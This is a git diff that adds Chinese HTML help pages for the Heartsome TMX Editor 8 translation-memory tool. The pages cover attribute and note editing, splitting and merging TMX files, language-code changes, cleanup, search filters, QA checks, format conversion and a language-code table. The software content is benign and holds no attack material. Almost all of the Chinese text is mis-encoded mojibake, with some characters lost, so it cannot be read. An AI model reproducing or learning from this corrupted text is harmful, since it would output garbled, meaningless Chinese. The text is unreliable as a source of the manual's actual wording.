        编辑完æˆåŽï¼Œç‚¹å‡»å…¶ä»–ä½ç½®ï¼Œè½¯ä»¶ä¼šè‡ªåŠ¨ç¼“存该内容,但并未ä¿å­˜åˆ°åŽŸå§‹ TMX 文件中(Heartsome + Translation Studio 8 记忆库除外),但数æ®å·²ç¼“存,ä¸ä¼šå› æ„外事故而丢失。

        + +
      • +
      • + +

        编辑完æˆåŽï¼Œç‚¹å‡»æˆ–å¿«æ·é”®Ctrl+Sæ‰èƒ½ä½¿ä¿®æ”¹å†…容åŠæ—¶ä¿å­˜åˆ°åŽŸå§‹ TMX + 文件。 +

        + +
      • +
      +
      + +
    • +
    • + +

      +编辑翻译å•å…ƒå±žæ€§ +

      + + +

      翻译å•å…ƒå±žæ€§çš„编辑å‡æ供了“当å‰é€‰ä¸­è¡Œ”〓所有过滤结果”以劓整个 TMX + /记忆库”三个应用范围,以实现批é‡æ“作。以下是具体说明:

      + + +
      +
        +
      • + +

        +编辑翻译å•å…ƒå›ºå®šå±žæ€§ +

        + + +

        + + 特别说明:固定属性åªå…许编辑和删除,且编辑和删除å‡åªé’ˆå¯¹å›ºå®šå±žæ€§çš„值。 +

        + + +

        1ã€ç¼–辑固定属性值:选中è¦ç¼–辑的属性行,å•å‡»æŒ‰é’®ï¼Œåœ¨å¼¹å‡ºçš„对è¯æ¡†ä¸­è¾“入属性值,点击ã€ç¡®å®šã€‘完æˆç¼–辑。

        + + +

        2ã€åˆ é™¤å›ºå®šå±žæ€§å€¼ï¼šé€‰ä¸­è¦åˆ é™¤çš„属性行,å•å‡»æŒ‰é’®ï¼Œå³å¯å®Œæˆå±žæ€§å€¼çš„删除。

        + +
      • +
      • + +

        +编辑翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§ +

        + + +

        + + 特别说明:自定义属性å…许添加ã€ç¼–辑和删除属性å称和属性值。 +

        + + +

        1ã€æ·»åŠ è‡ªå®šä¹‰å±žæ€§ï¼šé€‰ä¸­“翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§”表格中的任一一行,点击按钮,在弹出的对è¯æ¡†ä¸­è¾“å…¥“自定义属性å称”å’Œ“自定义属性内容”,å•å‡»ã€ç¡®å®šã€‘完æˆæ·»åŠ æ“作。

        + + +

        2ã€ç¼–辑自定义属性:选中“翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§”表格中需è¦ç¼–辑的行,点击按钮,在弹出的对è¯æ¡†ä¸­ç¼–辑“自定义属性å称”å’Œ“自定义属性内容”,å•å‡»ã€ç¡®å®šã€‘完æˆç¼–辑æ“作。

        + + +

        3ã€åˆ é™¤è‡ªå®šä¹‰å±žæ€§ï¼šé€‰ä¸­“翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§”表格中需è¦åˆ é™¤çš„行,点击按钮,å³å¯å®Œæˆåˆ é™¤æ“作。

        + +
      • +
      • + +

        +编辑翻译å•å…ƒå˜é‡å±žæ€§ +

        + + +

        æ“作方å¼åŒï¼šç¼–辑翻译å•å…ƒå›ºå®šå±žæ€§ +

        + +
      • +
      +
      + +
    • +
    • + +

      +编辑翻译å•å…ƒæ‰¹æ³¨ +

      + + +

      1ã€æ·»åŠ æ‰¹æ³¨ï¼šé€‰ä¸­“批注”表格中的任一一行,点击按钮,在弹出的对è¯æ¡†ä¸­è¾“入批注内容,å•å‡»ã€ç¡®å®šã€‘完æˆæ·»åŠ æ“作。

      + + +

      2ã€ç¼–辑批注:选中“批注”表格中需è¦ç¼–辑的行,点击按钮,在弹出的对è¯æ¡†ä¸­ç¼–辑批注内容,å•å‡»ã€ç¡®å®šã€‘完æˆç¼–辑æ“作。

      + + +

      3ã€åˆ é™¤æ‰¹æ³¨ï¼šé€‰ä¸­“批注”表格中需è¦åˆ é™¤çš„行,点击按钮,å³å¯å®Œæˆåˆ é™¤æ“作。

      + +
    • +
    +
    + + +
    +
    +
    +分割和åˆå¹¶ TMX
    +
    +

    分割和åˆå¹¶ TMX 功能,为您æ供了多人åˆä½œç¼–辑文件的方å¼ã€‚

    +
    +
      +
    • + +

      +分割 TMX +

      + + +

      1ã€èœå•“编辑”-“分割 TMX ”,打开分割对è¯æ¡†ã€‚

      + + +

      2ã€é€‰æ‹©éœ€è¦åˆ†å‰²æˆçš„“å­æ–‡ä»¶”个数。

      + + +

      3ã€é€‰æ‹©éœ€è¦åˆ†å‰²çš„原 TMX 文件。

      + + +

      4ã€é€‰æ‹©å­˜å‚¨æ–¹å¼ï¼š“原文件路径”将分割åŽçš„å­æ–‡ä»¶ä¸ŽåŽŸæ–‡ä»¶æ”¾ç½®åœ¨ä¸€ä¸ªç›®å½•ï¼›“å¦å­˜ä¸º”则会将å­æ–‡ä»¶æ”¾ç½®åœ¨æ­¤æŒ‡å®šçš„目录。

      + +
    • +
    • + +

      +åˆå¹¶ TMX +

      + + +

      1ã€èœå•“编辑”-“åˆå¹¶ TMX”,打开分割对è¯æ¡†ã€‚

      + + +

      2ã€ç‚¹å‡»ã€æ·»åŠ ã€‘按钮,将需è¦åˆå¹¶çš„å­æ–‡ä»¶æ·»åŠ åˆ°åˆ—表。

      + + +

      3ã€é€‰æ‹©åˆå¹¶çš„ TMX 存储路径。

      + + +

      4ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮,执行åˆå¹¶æ“作。

      + +
    • +
    +
    +
    +
    +更改语言代ç 
    +
    +

    此功能æ供批é‡æ›´æ”¹ TMX 文件中æ¯ä¸€ä¸ªç¿»è¯‘å•å…ƒçš„语言代ç ã€‚

    +

    1ã€èœå•“编辑”-“更改语言代研,打开更改语言代ç çš„对è¯æ¡†ã€‚

    +

    2ã€å¯¹åº”æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ï¼Œé€‰æ‹©æ›´æ”¹åŽçš„语言对。

    +

    3ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮,完æˆæ‰¹é‡ä¿®æ”¹ã€‚

    +
    +
    +删除指定语言
    +
    +

    此功能æ供批é‡åˆ é™¤ TMX 文件中æŸä¸€ç§è¯­è¨€çš„翻译å•å…ƒå˜é‡ï¼ˆtuv)的功能。需è¦æ³¨æ„是的:ä¸èƒ½åˆ é™¤æºè¯­è¨€ã€‚

    +

    1ã€èœå•“编辑”-“删除指定语言”,打开删除指定语言对è¯æ¡†ã€‚

    +

    2ã€é€‰æ‹©éœ€è¦åˆ é™¤çš„æŸä¸€ç§æˆ–多ç§è¯­è¨€ã€‚

    +

    3ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮,完æˆåˆ é™¤æ“作。

    +
    +
    +清除所有标记
    +
    +

    此功能æ供批é‡æ¸…除 TMX 文件中的所有内容标记,ä¿ç•™çº¯æ–‡æœ¬åŠŸèƒ½ã€‚

    +

    1ã€èœå•“编辑”-“清除所有标记”,弹出æ示框。

    +

    2ã€ç¡®è®¤æ示åŽï¼Œæ‰§è¡Œæ¸…除æ“作。清除åŽå°†æ— æ³•æ¢å¤ã€‚

    +
    +
    +TMX 无用内容清ç†
    +
    +

    TMX 文件的无用内容包å«ï¼šç©ºè¡Œã€é‡å¤è¡Œã€ç›¸åŒæºæ–‡ä¸åŒè¯‘文行等。Heartsome TMX Editor 8 + æ供了批é‡æ¸…ç†è¿™äº›æ— ç”¨å†…容的功能。

    +

    1ã€èœå•“编辑”-“æ¸…ç† TM”,打开批é‡æ¸…ç†çš„对è¯æ¡†ã€‚

    +

    2ã€åœ¨å¯¹è¯æ¡†é‡Œé€‰æ‹©éœ€è¦æ¸…ç†çš„无用项:

    +

    + +

    +
    +
      +
    • + +

      删除空行:指删除译文为空的翻译å•å…ƒ

      + +
    • +
    • + +

      删除é‡å¤è¡Œï¼Œä¿ç•™æœ€æ–°æ–‡æœ¬æ®µï¼šæŒ‡åˆ é™¤æºæ–‡å’Œè¯‘æ–‡å‡ç›¸åŒçš„翻译å•å…ƒï¼Œä½†ä¿ç•™æ—¶é—´æœ€è¿‘的一个

      + +
    • +
    • + +

      删除相åŒæºæ–‡ä¸åŒè¯‘文行,ä¿ç•™æœ€æ–°æ–‡æœ¬æ®µï¼šåªåˆ é™¤æºæ–‡ç›¸åŒä½†è¯‘æ–‡ä¸åŒçš„翻译å•å…ƒï¼Œä½†ä¿ç•™æ—¶é—´æœ€è¿‘的一个

      + +
    • +
    • + +

      删除段首/段末空格:åªåˆ é™¤ç¿»è¯‘å•å…ƒé¦–ä½çš„空格

      + +
    • +
    +
    +

    3ã€é€‰æ‹©æ¯”较æºæ–‡æ˜¯å¦ç›¸åŒæ—¶ï¼Œæ˜¯å¦éœ€è¦å¿½ç•¥æ ‡è®°ã€‚

    +

    4ã€æ‰§è¡Œæ¸…ç†æ“作。

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch04.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch04.html new file mode 100644 index 0000000..f257407 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch04.html @@ -0,0 +1,135 @@ + + + +编辑 Heartsome Translation Studio 8 记忆库 + + + + + + + + +
    +
    +
    +
    +

    +编辑 Heartsome Translation Studio 8 记忆库

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 是Heartsome Translation Studio 8 + 记忆库的专用编辑软件。以下介ç»äºŒè€…çš„é…套使用方法:

    + + +
    +
    +
    +如何连接记忆库
    +
    +

    Heartsome Translation Studio 8 记忆库分文件型记忆库和æœåŠ¡åž‹è®°å¿†åº“两类。

    +
    +
      +
    • + +

      +文件型记忆库 +

      + + +

      1ã€èœå•“文件”-“连接记忆库”,选择二级èœå•“文件型记忆库”。

      + + +

      2ã€åœ¨å¼¹å‡ºçš„æµè§ˆé€‰æ‹©æ¡†ä¸­ï¼Œé€‰æ‹©Heartsome Translation Studio 8 + 记忆库(.hstm)。

      + + +

      3ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮åŽï¼Œç¼–辑器将加载记忆库中所有的内容。

      + +
    • +
    • + +

      +æœåŠ¡åž‹è®°å¿†åº“ +

      + + +

      1ã€èœå•“文件”-“连接记忆库”,选择二级èœå•“æœåŠ¡åž‹è®°å¿†åº“”。

      + + +

      2ã€åœ¨æ‰“开的æœåŠ¡åž‹è®°å¿†åº“选择框中,在类型树上选择è¦è¿žæŽ¥çš„记忆库类型:

      + + +

      + +

      + + +

      3ã€è¾“入该类型的记忆库连接å‚数(IP地å€ã€ç«¯å£ã€ç”¨æˆ·ã€å¯†ç ç­‰ï¼‰ï¼Œç‚¹å‡»ã€æœç´¢ã€‘按钮:

      + + +

      + +

      + + +

      4ã€åœ¨æœç´¢å‡ºçš„记忆库中,选中您需è¦ç¼–辑的那一个,å•å‡»å³ä¸‹è§’çš„ã€ç¡®å®šã€‘按钮,å³å¯åŠ è½½è¯¥è®°å¿†åº“的所有内容。

      + + +

      + +

      + +
    • +
    +
    +
    +
    +如何支æŒå¤šè¯­
    +
    +

    1ã€Heartsome Translation Studio 8 记忆库是支æŒå¤šè¯­çš„,在连接æœåŠ¡åž‹è®°å¿†åº“åŽçš„记忆库列表的“语言”列中å¯ä»¥çœ‹åˆ°è¯­è¨€çš„情况:

    +

    +å¯ä»¥çœ‹åˆ°ï¼Œ“bug2422”这个记忆库包嫓en-US”〓zh”〓zh-HK”3ç§è¯­è¨€ã€‚

    +

    2ã€å½“打开多语的记忆库åŽï¼Œæ‚¨å¯ä»¥ä»Ž“编辑视图”中的“溔和“目标”下拉列表中选择需è¦æ˜¾ç¤ºå’Œç¼–辑的语言对:

    +

    + +

    +

    3ã€é€‰æ‹©å¥½è¯­è¨€å¯¹åŽï¼Œç‚¹å‡»ã€æœç´¢ã€‘å³å¯åŠ è½½æ˜¾ç¤ºè¯¥è¯­è¨€å¯¹çš„所有内容。

    +
    +
    +
    + + +
    +
    +
    +编辑记忆库æºæ–‡å’Œè¯‘æ–‡
    +
    +

    å•å‡»ç¼–辑器中æºæ–‡å•å…ƒæ ¼æˆ–译文å•å…ƒæ ¼å³å¯è¿›å…¥ç¼–辑模å¼ã€‚需è¦æ³¨æ„的是:记忆库的编辑是实时ä¿å­˜çš„,因此ä¸éœ€è¦æ‰‹åŠ¨ä¿å­˜ã€‚

    +
    +
    +编辑记忆库的翻译å•å…ƒå±žæ€§
    + +
    +编辑记忆库的翻译å•å…ƒæ‰¹æ³¨
    + +
    +无用内容清ç†
    + +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch05.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch05.html new file mode 100644 index 0000000..7762ee6 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch05.html @@ -0,0 +1,112 @@ + + + +æœç´¢å’Œè¿‡æ»¤ + + + + + + + + +
    +
    +
    +
    +

    +æœç´¢å’Œè¿‡æ»¤

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 æ供了æœç´¢å’Œè¿‡æ»¤ 的功能,最大程度的æ高您维护 TMX + 文件和记忆库的效率。以下是使用方法介ç»ï¼š

    + + +
    +
    +
    +关键字æœç´¢
    +
    +

    您å¯ä»¥é’ˆå¯¹å½“å‰ TMX + 文件或记忆库的æºæ–‡æˆ–译文内容进行关键字的æœç´¢ï¼Œè¿‡æ»¤å‡ºé¢„期的内容。您åªéœ€è¦åœ¨“编辑”视图的“æœç´¢”模å—中,针对æºæ–‡æˆ–译文输入关键字,点击ã€æœç´¢ã€‘按钮å³å¯ã€‚

    +

    + +

    +
    +
    +
    + + +
    +
    +
    +快速过滤
    +
    +

    您å¯ä»¥é€šè¿‡“编辑”视图的“æ¡ä»¶ç­›é€‰”下拉列表内容,快速过滤出相关内容。下拉列表的内容分两个部分:软件内置的常用过滤æ¡ä»¶å’Œç”¨æˆ·è‡ªå®šä¹‰çš„过滤æ¡ä»¶ã€‚

    +

    + +

    +

    其中,软件的内置的过滤æ¡ä»¶ä¸­ï¼Œå¯¹äºŽæ–‡æœ¬æ®µå†…容的比较,我们æ供了是妓忽略大尔和是妓忽略标记”两个选项,以得到更加精确的过滤结果。

    +

    + + 特别说明:“关键字æœç´¢”与“快速过滤”之间没有互相关è”,任何一个æ¡ä»¶æ”¹å˜éƒ½ä¼šä»¥åŽŸå§‹ TMX + 文件内容或记忆库内容é‡æ–°åˆ·æ–°ç»“果。

    +
    +
    +自定义过滤æ¡ä»¶
    +
    +

    软件为您æ供了çµæ´»çš„自定义过滤器,您å¯ä»¥æ ¹æ®è‡ªå·±çš„需è¦æ¥è®¾ç½®è¿‡æ»¤æ¡ä»¶ï¼Œè¿™äº›è¿‡æ»¤æ¡ä»¶æ‚¨è¿˜å¯ä»¥é€‰æ‹©å¯ç”¨æˆ–ä¸å¯ç”¨ã€‚我们建议您将常用的自定义过滤æ¡ä»¶è®¾ç½®ä¸ºå¯ç”¨çŠ¶æ€ï¼Œè¿™æ ·æ‚¨å°±å¯ä»¥åœ¨æ¡ä»¶ç­›é€‰çš„

    +

    下拉列表中选择并自动执行该æ¡ä»¶ï¼Œè¿‡æ»¤å‡ºç›¸å…³å†…容。

    +

    1ã€ç‚¹å‡»“æ¡ä»¶ç­›é€‰”模å—中的按钮,打开自定义过滤æ¡ä»¶åˆ—表。

    +

    + +

    +

    2ã€ç‚¹å‡»ã€æ–°å»ºã€‘按钮,弹出自定义æ¡ä»¶çš„定义æ“作对è¯æ¡†ã€‚

    +

    + +

    +
    +
      +
    • + +

      +过滤器å称:您的自定义æ¡ä»¶å称,用于该æ¡ä»¶“å¯ç”¨”åŽæ˜¾ç¤ºåœ¨“æ¡ä»¶ç­›é€‰”的下拉列表中。

      + +
    • +
    • + +

      +æ¡ä»¶ç»„åˆæ–¹å¼ï¼šæ供满足所有æ¡ä»¶ï¼ˆAND)或任一æ¡ä»¶ï¼ˆOR)的组åˆæ–¹å¼é€‰æ‹©ã€‚

      + +
    • +
    • + +

      +自定义的内容:您å¯ä»¥å¯¹æºæ–‡ã€è¯‘æ–‡ã€æ‰¹æ³¨ã€å›ºå®šå±žæ€§å’Œè‡ªå®šä¹‰å±žæ€§è¿›è¡Œè‡ªå®šä¹‰ã€‚

      + +
    • +
    • + +

      +æ“作符:系统默认带了包å«ã€ä¸åŒ…å«ã€ç­‰äºŽå’Œä¸ç­‰äºŽå››ç§æ“作符。

      + +
    • +
    +
    +

    对列表中已有的自定义æ¡ä»¶ï¼ŒåŒæ ·å¯ä»¥è¿›è¡Œã€ç¼–辑】和ã€åˆ é™¤ã€‘。

    +

    3ã€åˆ—表中“å¯ç”¨”一列,是æ供您设置是å¦å¯ç”¨è¿™ä¸ªæ¡ä»¶ï¼Œä»¥é¿å…部分暂时ä¸éœ€è¦çš„æ¡ä»¶å‡ºçŽ°çš„“æ¡ä»¶ç­›é€‰”的下拉列表中,产生混淆和干扰。

    +

    例如:第1点æ述中å¯ç”¨“Kevin创建的å¥å­”åŽï¼š

    +

    + +

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch06.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch06.html new file mode 100644 index 0000000..bea3f65 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch06.html @@ -0,0 +1,102 @@ + + + +QA + + + + + + + + +
    +
    +
    +
    +

    +QA

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 为您æ供了针对 TMX 文件的 QA 功能,也能根æ®ç”Ÿæˆçš„ QA + 报告,对错误内容åšå¿«é€Ÿå¤„ç†ã€‚以下详细介ç»ï¼š

    + + +
    +
    +
    +选择 QA 检查项
    +
    +

    在 QA 视图的“检查项”模å—,æ供了6ç§ QA + 检查项供选择:

    +

    + +

    +
    +
      +
    • + +

      标记一致性:æºæ–‡å’Œè¯‘文的内部标记个数是å¦ç›¸åŒï¼Œå†…容是å¦ç›¸åŒã€‚

      + +
    • +
    • + +

      数字一致性:æºæ–‡å’Œè¯‘文中的数字是å¦ç›¸åŒã€‚

      + +
    • +
    • + +

      段首/段末空格:æºæ–‡å’Œè¯‘文在段首/段末的空格是å¦ä¸€è‡´ã€‚

      + +
    • +
    • + +

      译文为空:是å¦æœ‰æœªç¿»è¯‘的文本段。

      + +
    • +
    • + +

      æºæ–‡å’Œè¯‘文相åŒï¼šæºæ–‡å’Œè¯‘文相åŒçš„文本段。

      + +
    • +
    • + +

      相åŒæºæ–‡ï¼Œä¸åŒè¯‘文:æºæ–‡ç›¸åŒï¼Œå´æœ‰ä¸åŒè¯‘文的文本段。

      + +
    • +
    • + +

      相åŒè¯‘文,ä¸åŒæºæ–‡ï¼šç›¸åŒçš„译文å´æ¥è‡ªä¸åŒçš„æºæ–‡çš„文本段。

      + +
    • +
    +
    +
    +
    +执行 QA ç”Ÿæˆ QA 报告
    +
    +

    1ã€åœ¨ QA + 视图的“æ“作”模å—中,选择是妓忽略大å°å†™”和是妓忽略标记”,æ¥ç¡®å®šæ˜¯å¦ä»¥æ›´åŠ ç²¾ç¡®çš„æ–¹å¼æ¥è¿›è¡Œå†…容对比。

    +

    + +

    +

    2ã€ç‚¹å‡»ã€æ‰§è¡Œæ‰€é€‰ã€‘按钮,软件自动打开 QA 结果视图,生æˆç›¸åº”çš„ QA 报告。

    +

    + +

    +
    +
    +å¦‚ä½•æ ¹æ® QA 报告处ç†é”™è¯¯
    +
    +

    您åªéœ€è¦åŒå‡» QA 结果中的错误信æ¯ï¼Œä¾¿ä¼šè‡ªåŠ¨å®šä½åˆ°ç¼–辑器中对应的行,进而快速进行错误的修å¤ã€‚

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch07.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch07.html new file mode 100644 index 0000000..f68904a --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch07.html @@ -0,0 +1,1303 @@ + + + +å®žç”¨å·¥å…·ä»‹ç» + + + + + + + + +
    +
    +
    +
    +

    +实用工具介ç»

    +
    +
    +
    + + + +

    Heartsome TMX Editor 8 æ供了几款éžå¸¸å®žç”¨çš„工具,为您轻æ¾è§£å†³ TMX 的转æ¢å’Œç»´æŠ¤é—®é¢˜ã€‚

    + + +
    +
    +
    +TMX 转æ¢ä¸ºæŒ‡å®šæ ¼å¼æ–‡ä»¶
    +
    +

    Heartsome TMX Editor 8 支æŒç”± TMX 批é‡è½¬æ¢ä¸º DOCXã€XLSXã€TXTã€TBX ä»¥åŠ HSTM(Heartsome + Translation Studio 8 记忆库 )5ç§å¤–部文件。

    +

    + +

    +
    +
      +
    • + +

      +使用方法: +

      + + +

      1ã€èœå•“工具”-“TMX 转æ¢ä¸ºæŒ‡å®šæ ¼å¼”,打开转æ¢å¯¹è¯æ¡†ã€‚

      + + +

      2ã€ç‚¹å‡»ã€æ·»åŠ ã€‘按钮,批é‡æ·»åŠ å¾…转æ¢çš„ TMX 文件,您也å¯ä»¥å¯¹å·²æ·»åŠ çš„文件进行选中ã€ç§»é™¤ã€‘æ“作。

      + + +

      3ã€é€‰æ‹©“转æ¢ä¸º”的目标文件类型。

      + + +

      4ã€å½““转æ¢ä¸º”的目标文件类型为“HS记忆库文件(.hstm)”时,å¯é€‰æ‹©æ˜¯å¦åœ¨“包å«ç¿»è¯‘å•å…ƒå±žæ€§ï¼ˆä»…é™ *.hstm)”,或忽略属性。

      + + +

      5ã€é€‰æ‹©“ä¿å­˜åˆ°”çš„ä¿å­˜æ–¹å¼ã€‚

      + + +

      6ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮执行转æ¢æ“作。

      + +
    • +
    • + +

      +转æ¢åŽçš„目标文件类型介ç»ï¼š +

      + + +
      +
        +
      • + +

        +转æ¢ä¸º DOCX 文件: +

        + + +

        + +

        + + +

        +说明:表格的第一列为æºè¯­è¨€ï¼Œç¬¬äºŒåˆ—为目标语言。如果原 TMX + 文件是多语言,那么会在表格的第三列继续列出第三ç§è¯­è¨€ã€‚

        + +
      • +
      • + +

        +转æ¢ä¸º XLSX 文件: +

        + + +

        + +

        + + +

        +说明:第一列为æºè¯­è¨€ï¼Œç¬¬äºŒåˆ—为目标语言。如果原 TMX + 文件是多语言,那么会在第三列继续列出第三ç§è¯­è¨€ã€‚

        + +
      • +
      • + +

        +转æ¢ä¸º TXT 文件: +

        + + +

        + +

        + + +

        +说明:TXT 文件中多ç§è¯­è¨€ä¹‹é—´ä»¥“TAB + é”®”为间隔。

        + +
      • +
      • + +

        +转æ¢ä¸ºæ ‡å‡† TBX 文件: +

        + + +

        + +

        + +
      • +
      • + +

        +转æ¢ä¸º HSTM 文件: +

        + + +

        转æ¢çš„ HSTM 文件是 Heartsome Translation Studio 8 + 记忆库中的“文件型记忆库”类型。

        + +
      • +
      +
      + +
    • +
    +
    +
    +
    +指定格å¼è½¬æ¢ä¸º TMX
    +
    +

    此功能是“TMX 转æ¢ä¸ºæŒ‡å®šæ ¼å¼”功能的逆å‘使用,因此,也åŒæ ·æ”¯æŒç›¸åŒçš„ DOCXã€XLSXã€TXTã€TBX ä»¥åŠ + HSTM(Heartsome Translation Studio 8 记忆库 )5ç§å¤–部文件转æ¢ä¸ºæ ‡å‡† TMX 文件。

    +

    + +

    +
    +
      +
    • + +

      +使用方法: +

      + + +

      1ã€èœå•“工具”-“转æ¢ä¸º TMX”,打开转æ¢å¯¹è¯æ¡†ã€‚

      + + +

      2ã€å•å‡»“æµè§ˆ”按钮,选择待转æ¢çš„外部文件。 + +

      + + +

      3ã€é€‰æ‹©æ˜¯å¦“添加翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§”。如果选择添加,那么需è¦åœ¨“æµè§ˆ”æ“作区域中动æ€æ·»åŠ å±žæ€§å’Œå€¼ã€‚

      + + +

      4ã€é€‰æ‹©å­˜å‚¨æ–¹å¼ï¼š1)转æ¢æˆå…¨æ–°çš„ TMX,指生æˆä¸€ä¸ªæ–°çš„ TMX 文件。2)追加到已有 + TMX,需è¦æ‚¨é€‰æ‹©ä¸€ä¸ªå·²å­˜åœ¨çš„ TMX 文件,将新内容追加到其中。

      + + +

      5ã€é€‰æ‹©æ˜¯å¦“转æ¢æˆåŽåœ¨ TMX Editor 中打开”。

      + + +

      6ã€å•å‡»ã€ç¡®å®šã€‘按钮,执行转æ¢æ“作。

      + +
    • +
    • + +

      +æºæ–‡ä»¶æ ¼å¼è§„范 +

      + + +

      æºæ–‡ä»¶æ ¼å¼ä¸Ž“转æ¢åŽçš„目标文件类型介绔中介ç»çš„文件格å¼ä¸€æ ·ï¼Œæ”¯æŒå¤šè¯­è¨€ï¼Œå¹¶ä¸”第一行必须是规范的语言代ç ã€‚以下是常用的语言代ç è¡¨ï¼š

      + + +
      + +
      + + + + + +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      语言å称语言代ç 
      Afaraa
      Abkhazianab
      Avestanae
      Afrikaansaf
      Afrikaans (South Africa)af-ZA
      Akanak
      Amharicam
      Aragonesean
      Arabicar
      Arabic (U.A.E.)ar-AE
      Arabic (Bahrain)ar-BH
      Arabic (Algeria)ar-DZ
      Arabic (Egypt)ar-EG
      Arabic (Iraq)ar-IQ
      Arabic (Jordan)ar-JO
      Arabic (Kuwait)ar-KW
      Arabic (Lebanon)ar-LB
      Arabic (Libya)ar-LY
      Arabic (Morocco)ar-MA
      Arabic (Oman)ar-OM
      Arabic (Qatar)ar-QA
      Arabic (Saudi Arabia)ar-SA
      Arabic (Syria)ar-SY
      Arabic (Tunisia)ar-TN
      Arabic (Yemen)ar-YE
      Assameseas
      Aymaraay
      Azerbaijaniaz
      Bashkirba
      Belarusianbe
      Bulgarianbg
      Biharibh
      Bislamabi
      Bambarabm
      Bengalibn
      Tibetanbo
      Bretonbr
      Bosnianbs
      Catalanca
      Chechence
      Chamorroch
      Corsicanco
      Creecr
      Czechcs
      Czech (Czech Republic)cs-CZ
      Church Slavic; Old Bulgariancu
      Chuvashcv
      Welshcy
      Danishda
      Germande
      German (Austrian)de-AT
      German (Swiss)de-CH
      German (Germany)de-DE
      German (Liechtenstein)de-LI
      German (Luxembourg)de-LU
      Divehidv
      Dzongkhadz
      Eweee
      Greekel
      Englishen
      English (Australian)en-AU
      English (Belize)en-BZ
      English (Canadian)en-CA
      English (Caribbean)en-CB
      English (British)en-GB
      English (Ireland)en-IE
      English (Jamaica)en-JM
      English (New Zealand)en-NZ
      English (Trinidad)en-TT
      English (United States)en-US
      English (South Africa)en-ZA
      Esperantoeo
      Spanishes
      Spanish (Argentina)es-AR
      Spanish (Bolivia)es-BO
      Spanish (Chile)es-CL
      Spanish (Colombia)es-CO
      Spanish (Costa Rica)es-CR
      Spanish (Dominican Republic)es-DO
      Spanish (Ecuador)es-EC
      Spanish (Spain)es-ES
      Spanish (Guatemala)es-GT
      Spanish (Honduras)es-HN
      Spanish (Mexican)es-MX
      Spanish (Nicaragua)es-NI
      Spanish (Panama)es-PA
      Spanish (Peru)es-PE
      Spanish (Puerto Rico)es-PR
      Spanish (Paraguay)es-PY
      Spanish (El Salvador)es-SV
      Spanish (Uruguay)es-UY
      Spanish (Venezuela)es-VE
      Estonianet
      Basqueeu
      Farsifa
      Fulahff
      Finnishfi
      Fijianfj
      Faeroesefo
      Frenchfr
      French (Belgium)fr-BE
      French (Canadian)fr-CA
      French (Swiss)fr-CH
      French (France)fr-FR
      French (Luxembourg)fr-LU
      Frisianfy
      Irishga
      Gaelic; Scottish Gaelicgd
      Galiciangl
      Guaranign
      Gujaratigu
      Manxgv
      Hausaha
      Hebrewhe
      Hebrew (Israel)he-IL
      Hindihi
      Hiri Motuho
      Croatianhr
      Haitian; Haitian Creoleht
      Hungarianhu
      Armenianhy
      Hererohz
      Interlinguaia
      Indonesianid
      Interlingueie
      Igboig
      Sichuan Yiii
      Inupiaqik
      + +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      语言å称语言代ç 
      Indonesianin
      Idoio
